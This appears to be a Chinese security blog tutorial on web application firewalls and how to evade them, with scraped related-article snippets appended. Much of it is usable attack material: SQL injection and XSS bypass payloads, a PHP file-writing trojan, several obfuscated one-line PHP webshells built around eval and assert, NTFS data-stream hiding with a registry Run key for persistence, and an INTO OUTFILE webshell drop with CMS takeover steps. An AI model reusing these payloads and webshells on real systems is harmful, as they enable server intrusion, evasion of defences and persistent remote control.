WAF详解及WAF绕过

article/2025/9/15 21:05:09
  1. waf(web application firewall):
    • 原理:
      • web应用防火墙,一款集网站内容安全防护、网站资源安全防护及流量保护功能为一体的服务器工具。为用户提供实时网站安全防护,避免各类针对网站的攻击带来的危害。(核心其实也是基于规则的防御)| 任何工具(Awvs、IPS、IDS)其实都是基于规则进行匹配,最多加个爬虫功能
    • 功能:
      • 网马|木马主动防御及查杀
        • 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
      • 网站漏洞防御功能
        • 可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。
      • 网站流量实时监控
        • 能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
      • 危险组件防护功能
        • 全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全
      • .Net安全保护模块
        • 快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全
      • 双层防盗链链接模式
        • 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面
      • 网站特定资源防下载
        • 支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载
      • CC攻击(攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃)防护
        • 自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。
      • IP黑白名单
        • 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
    • 系统攻击分类:
      • web服务器漏洞进行攻击:DDOS、病毒木马破坏等攻击
      • 网页自身安全漏洞攻击:SQL注入攻击、跨站脚本攻击
    • waf注入绕过检测方法:

       

    • 分类:
      • 硬件waf:绿盟、安恒、启明、知道创宇等(弊端就是访问速度变慢)
      • 软件waf:安全狗、云锁、中间件自带的waf模块(安装在服务器上,访问速度不变)
      • 云waf:阿里云、安全狗、创宇等(弊端:通过cname值访问,如果知道真实ip,可以直接绕过waf)
    • 服务器上安装安全狗和phpstuday绑定:
      • 1、关闭apache程序及httpd.exe进程
      • 2、运行cmd,cd进入apache/bin文件夹目录,执行httpd.exe -k install -n apache2.4.39
      • 3、安全狗安装服务名称填写apache2.4.39
      • 4、安装完成记得重启安全狗及phpstuday
    • waf主要检测:
      • http检测:

         

      • 上传检测:

         

  2. 绕过waf注入的方法:
    • 身份认证的绕过:
      • 伪造搜索引擎(已失效):
        • 老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击
        • burp suite抓包替换user-agent头:
      • 伪造白名单特殊目录:
        • 判断是否为admin、dede、install等目录,如果是,则不做拦截

         

      • 伪造IP地址绕过:
        • 伪造为127.0.0.1,使用burp suite插件
        • 添加过滤本地ip waf插件到bp
        • 请求发送到重发器,可以看到已经伪造了IP地址

         

         

         

    • 数据包解析阶段的绕过:
      • 编码绕过:
        • 采用URL编码绕过,现在基本已经被防御

         

      • 修改请求方式绕过:
        • 把get提交的请求换为post即可绕过waf
      • 复合参数绕过:
        • 例如一个请求是这样的
          GET /pen/news.php?id=1 union select user,password from mysql.user
          可以修改为
          GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
          很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

         

      • 触发规则的绕过(针对一些特殊关键词或则用法进行检测的绕过):
        • 特殊字符替换空格:
          • mysql里%0a是换行,可以代替空格,也可以使用内联注释绕过
            • http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2   //%23为#号
          • sqlserver中/**/代替空格,函数后边是可以接内联注释的:
            • 内联注释:mysql里有三种注释方式: -- 注释    # (单行注释)   /* */(多行注释)   |  如果在/*后加惊叹号!意为/* */里的语句将被执行
              • 1.利用()代替空格
                2.利用mysql特性/*!*/执行语句
                3.利用/**/混淆代码
                我给出的注入语句是:
                union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
                id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     user(),(database/**/()),4,5

                http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
                这里要注意的几点是:
                1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
                2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
                3.数据或者函数周围可以无限嵌套()
                4.利用好%00
        • 特殊字符拼接:
          • 如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
            可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
             
        • 注释包含关键词绕过:
          • mysql中使用/*!*/包含关键词绕过,加个!是执行注释里边内容的意思。
          • 如: GET /pen/news.php?id=1 union select user,password from mysql.user
            可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/  user,password /*!from*/ mysql.user
        • 等价替换:
          • select~  select~1  select!  select@  都等同于select,绕过
          • and 1=1 换成 and -1=-1 或则 and -2=-2等等
          • 空格替换为   %0a/**/
          • 大小写替换:?page_id=-15 uNIoN sELecT 1,2,3,4….
          • 双写替换法:?page_id=-15 UNIunionON SELselectECT 1,2,3,4…
          • 编码与注释混合:?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
          • waf本身功能绕过:如果waf把*替换为空,则可以利用这个特性绕过:?page_id=-15+uni*on+sel*ect+1,2,3,4....
          • 使用其他变量或者命令对注入语句进行替换(实际中很有作用):MOD为求余运算
          • COMMAND | WHAT TO USE INSTEAD
            @@version | version()
            concat() | concat_ws()
            group_concat() | concat_ws()
            = | like
            

           

        • 异或绕过:
          • 在 ^ 没有被过滤的时候可以1用它来测试,异或: Xor 或 ^,1 ^ 0 = 1,1 ^ 1 = 0

           

           

        • 换行绕过:
          • 换行符绕过:%23%0a、%2d%2d%0a,%23是url编码中的#(也就是mysql中的注释符),%0a是(也就是换行符,后面的语句就成功执行了)
        • 替换法绕过:
          • 构造 1 && True --+就可以绕过
        • 分块传输(比较厉害,以前干掉所有waf):
          • 使用bp插件添加分块传输头,Transfer-Encoding:chunked进行分块传输

           

       

     

  3. XSS绕过waf:
    • 大小写绕过
    • javascript伪协议
    • 没有分号
    • Flash
    • HTML5新标签
      • <video src=1 οnerrοr=alert(/xss/)>  绕过
      • <audio src=1 οnerrοr=alert(/xss/)> 
      • <body/οnfοcus=alert(/xss/)>
      • <details open οntοggle=alert(/xss/)>
      • <button οnfοcus=alert(/xss/)  autofocus>
    • Fuzz进行测试
    • 双层标签绕过
    • base64编码绕过
  4. 文件上传绕过:
    • 等号绕过
    • 换行绕过:

       

       

    • 填充垃圾字符:
      • 在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验

       

  5. 木马免杀:
    • 大马控制控制服务器流程:
      • 上传php小马到服务器:
        • <?
          $path = $_POST['x'];
          $text = $_POST['y'];
          $file = fopen($path, "w+");
          fwrite($file,$text);
          fclose($file);
          ?>
          <form action="" method="post">
          读取当前文件路径:
          <? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br>
          保存路径:<input name="x" type="text" /><br>
          写入内容:<br><textarea name="y" cols="90" rows="50"></textarea></br>
          <input name="" type="submit" value="提交"/></form>
          
      • 然后通过小马上传大马,使用大马控制webshell

         

    • 一句话木马绕过waf:
      • <?php 
        $mt="JF9QT1N"; 
        $ojj="QGV2YWwo";
        $hsa="UWydpMGle";
        $fnx="5BeSleleddKTs=";
        $zk = str_replace("d","","sdtdrd_redpdldadcde"); 
        $ef = $zk("z", "", "zbazsze64_zdzeczodze"); 
        $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
        $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
        $zvm(); 
        ?>——————————————————————————————————————————————————————str_replace:参数:("需要匹配的字符","替换字符","需要匹配的对象")$zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace    // $zk=str_replace
        $ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode   // $ef=base64_decode
        $dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function  //$dva=create_function$ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=
        str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']);
        create_function('',@eval($_POST['i0nAy']);)
        $zvm(); 
        
      • 测试发现,竟然被waf识别,所以转换思路,在变形马的基础上再加密:
      • 可以发现,waf并没有识别,从而绕过waf,通过火狐浏览器插件去执行一句话木马,获取系统信息
      • 由于WAF有识别菜刀功能,所以使用菜刀去连接一句话木马会被waf拦截,所以我们采用修改菜刀指纹信息,从而绕过waf
      • 首先关闭waf安全狗,使用WSExplorer工具修改菜刀指纹信息:
      • 火狐浏览器插件直接执行查看效果:
      • 再开启WAF安全狗防护,重启phpstuday,查看是否可以绕过:
      • 绕过失败。。。。。检查原因发现是因为代码留有后门导致绕过失败

       

       

       

       

       

       

       

       

    • include函数过waf:
      • 上传木马文件和包含文件到服务器,然后使用包含地址来绕过waf

       

    • 注释执行一句话木马绕过:
      • <?php 
        //t.php  
        $test = $_GET['r'];  
        echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/;
        ?>
      •  

       

    • 替换函数一句话木马绕过:
      • <?php 
        $a = substr_replace("assexy","rt",4);  
        $b = array(''=>$a($_POST['q']));
        var_dump($b);
        ?>

       

    • 变量覆盖绕过waf:
      • <?php
        $h='f';
        $$h=$_REQUEST['x'];                //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f
        $d='CHECK';
        $$d='ass';
        $$d=$CHECK.'ert';
        $CHECK($f);
        ?>
        

       

    • 通过NTFS交换数据流文件实现文件隐藏(隐藏文件,检测不到),绕过waf
      • 原理:
        • 通过NTFS交换数据流文件实现文件隐藏
          echo hello>>test.txt:webshell.php   创建数据流文件
          dir /r  查看数据流文件
          notepad muma.php 新建一个一句话木马文件
          通过命令 type muma.php>>test.txt:muma.php来创建新的交换数据流文件
          数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
      • 过程:
        • 执行木马函数转换为数据流文件
        • 使用include函数把NTFS流文件包含进去,完成木马上传

         

         

         

  6. 后门分析:
    •  代码分析,关键词定位 (如:请勿用于非法用途,否则后果自负)
    • 网络通信分析 

       

    • 进程包分析
      • WSExplorer进程包工具解析
  7. 获取webshell方法(目录扫描工具用7kb):
    • CMS获取webshell:
      • 目标:南方数据CMS系统后台获取webshell
      • 思路:
        • 使用7kb遍历网站url,找到后台地址
        • 再使用burp suite暴力破解后台账号密码
        • 登录后台账号密码把一句话木马插到配置文件里,7kb扫描出来配置文件后直接使用菜刀进行连接获取webshell

         

         

         

         

         

      • 思路2:
        • 使用数据库备份功能上传木马,配合解析漏洞获取webshell

         

         

         

      • dedecms后台获取webshell:
        • 前期:修改 /include/uploadsafe.inc.php 第45行:$imtypes = array 改成 $imgtypes = array,再更新缓存即可。
        • 思路1:通过自带文件上传功能获取webshell
        • 思路2:使用数据库备份命令上传木马至服务器从而获取webshell,在写入mysql数据库文件操作时需要设置配置文件
        • 前期:需要在my.ini里设置:secure_file_priv=''
        • select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\phpStudy\\WWW\\best111111.php';

         

         

         

    • 非CMS获取webshell:
      • 1、数据库备份获取Webshell
        2、抓包上传获取Webshell
        3、Sql命令获取Webshell
        4、模板修改获取Webshell
        5、插入一句话获取Webshell
        6、修改上传类型获取Webshell

http://chatgpt.dhexx.cn/article/6kY3BpJ4.shtml

相关文章

waf入门

文章目录 waf入门什么是wafwaf一般都有哪些功能WAF部署模式WAF工作模式 规则引擎原理WAF动作WAF规则与报表WAF特征 waf入门 什么是waf Web应用防护系统&#xff08;也称为&#xff1a;网站应用级入侵防御系统。英文&#xff1a;Web Application Firewall&#xff0c;简称&…

WAF识别软件(WAFW00F)以及WAF绕过

责任声明&#xff1a; 本文章仅供学习交流使用&#xff0c;如有利用进行非法行为 上传者不承担任何责任&#xff0c;使用者后果自负 WAF防护分析 什么是WAF&#xff1f; Web应用防护系统分为两种&#xff1a;软件与硬件 安全公司内部的为硬件&#xff0c;个人或小企业为软件&…

IPS和WAF区别

写在前面&#xff1a; “前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。” 前言 - 床长人工智能教程 WAF与IPS的区别总结 谁是最佳选择&#xff1f; Web应用防护无疑是一个热门话题。…

waf详解

文章目录 一、waf分类二、waf的工作原理 前言&#xff1a; 在实际的渗透测试过程中&#xff0c;经常会碰到网站存在WAF的情况。网站存在WAF&#xff0c;意味着我们不能使用安全工具对网站进行测试&#xff0c;因为一旦触碰了WAF的规则&#xff0c;轻则丢弃报文&#xff0c;重则…

waf测试

waf简介 WAF防火墙其实就是Web Application Firewall&#xff0c;是一个web应用防护系统。企业等用户一般采用防火墙作为安全保障体系的第一道防线。WAF工作在应用层&#xff0c;因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解&#xff0c;WAF对来自…

云WAF概述

云WAF&#xff08;Web应用防火墙&#xff09;是WAF的另一种表现形态&#xff0c;它将WAF的功能在云端进行实现。只需要把域名的解析权交给云WAF&#xff0c;它就可以利用DNS调度技术&#xff0c;改变网络流量的原始流向&#xff0c;将网络流量牵引到云端的WAF上&#xff0c;云端…

WAF的原理

一.WAF的原理 WAF是Web应用防火墙&#xff08;Web Application Firewall&#xff09;的简称&#xff0c;对来自Web应用程序客户端的各类请求进行内容检测和验证&#xff0c;确保其安全性与合法性&#xff0c;对非法的请求予以实时阻断&#xff0c;为Web应用提供防护&#xff0c…

WAF介绍

一、WAF产生的背景&#xff1a; 过去企业通常会采用防火墙&#xff0c;作为安全保障的第一道防线&#xff1b;当时的防火墙只是在第三层&#xff08;网络层&#xff09;有效的阻断一些数据包&#xff1b;而随着web应用的功能越来越丰富的时候&#xff0c;Web服务器因为其强大的…

sql注入绕过WAF小tips

目录 一. WAF分类 二. WAF工作原理 三. 攻击环境搭建 四. WAF绕过姿势 运算符绕过and、or限制 内联注释绕过order by 添加控制字符绕过union select 函数拆分获取数据库名 在实际的渗透测试过程中&#xff0c;经常会碰到网站存在WAF的情况。网站存在WAF&#xff0c;意味…

WAF简介

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是WAF简介。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#xff01; 再次强调&#xff1a;严禁对未授权设备进行渗透…

细说——WAF

目录 WAF是什么主流WAF有哪些&#xff1f;WAF的分类软件型WAF硬件型WAF基于云WAF开源型WAF网站内置的WAF IPS与IDS&#xff0c;防火墙与WAF之间的比较和差异防火墙功能IPS入侵防御系统IDS入侵检测系统WAF对比IPS与IDS防火墙与IPS / IDSWAF与IPS / IDS WAF检测手工检测工具检测W…

WAF基本原理与部署方式

WAF介绍 WAF是什么&#xff1f; WAF的全称是&#xff08;Web Application Firewall&#xff09;即Web应用防火墙&#xff0c;简称WAF。 国际上公认的一种说法是&#xff1a;Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 WAF…

Windows安装SSH

文章目录 1.微软官网安装教程1.打开powershell2.查看是否安装OpenSSH3.安装ssh客户端4.安装ssh服务端5.启动并配置 OpenSSH 服务器 2.自己安装配置1.下载安装包2.解压3.配置环境变量4.服务安装5.开放端口6.配置开机自启sshd服务7.启动ssh服务端8.测试ssh连接 1.微软官网安装教程…

Linux修改ssh端口

记录&#xff1a;340 场景&#xff1a;在CentOS 7.9操作系统上&#xff0c;修改默认的ssh端口。ssh默认22端口&#xff0c;在实际开展业务中的生产环境中&#xff0c;通常会修改为指定端口号&#xff0c;以满足规范。 版本&#xff1a; 操作系统&#xff1a;CentOS 7.9 1.修…

SSH 基础用法

1.查看网络环境是否通畅 修改主机名称&#xff1a;hostnamectl set-hostname xxxx 查看网络信息&#xff1a;ifconfig 或者用 ip a show xxxx(网卡配置文件名称) 测试网络连接 &#xff1a;ping xxx.xxx.xxx.xxx 输入对应的ip地址 2.使用方式 连接方式&#xff1a; ssh ro…

SSH介绍以及使用

什么是ssh&#xff1f; SSH 为 Secure Shell 的缩写&#xff0c;由 IETF 的网络小组&#xff08;Network Working Group&#xff09;所制定&#xff1b;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠&#xff0c;专为远程登录会话和其他网络服务提供安全性的协议。利用…

SSH详细使用教程

SSH简介 SSH是一种网络协议&#xff0c;用于计算机之间的加密登录。 适用条件 客户端防火墙禁止80端口的出站流量&#xff0c;无法上网。ssh通过tcp 22端口传输数据&#xff0c;实现上网功能。 SSH常用命令 -C 对传输数据进行压缩&#xff0c;减小…

SSH 公钥私钥

一、简介 一、SSH key简介 要了解SSH key简介&#xff0c;首先得熟悉SSH&#xff0c;SSH 密钥对可以让您方便的登录到 SSH 服务器&#xff0c;而无需输入密码。SSH 密钥对总是成双出现的&#xff0c;一把公钥&#xff0c;一把私钥。公钥可以自由的放在您所需要连接的 SSH 服务…

最全SSH命令 - 11种用法

SSH命令 1.使用ssh连接远程主机2.ssh连接到其他端口3.使用ssh在远程主机执行一条命令并显示到本地, 然后继续本地工作4.在远程主机运行一个图形界面的程序5.如何配置 SSH6.构建 ssh 密钥对7.查看是否已经添加了对应主机的密钥8.删除主机密钥9.绑定源地址10.对所有数据请求压缩1…

什么是SSH

一、什么是远程连接服务器 1、远程连接服务器通过文字或图形接口方式来远程登录系统&#xff0c;让你在远程终端前登录linux主机以取得可操作主机接口&#xff08;shell&#xff09;&#xff0c;而登录后的操作感觉就像是坐在系统前面一样。 2、远程连接服务器的功能 1&…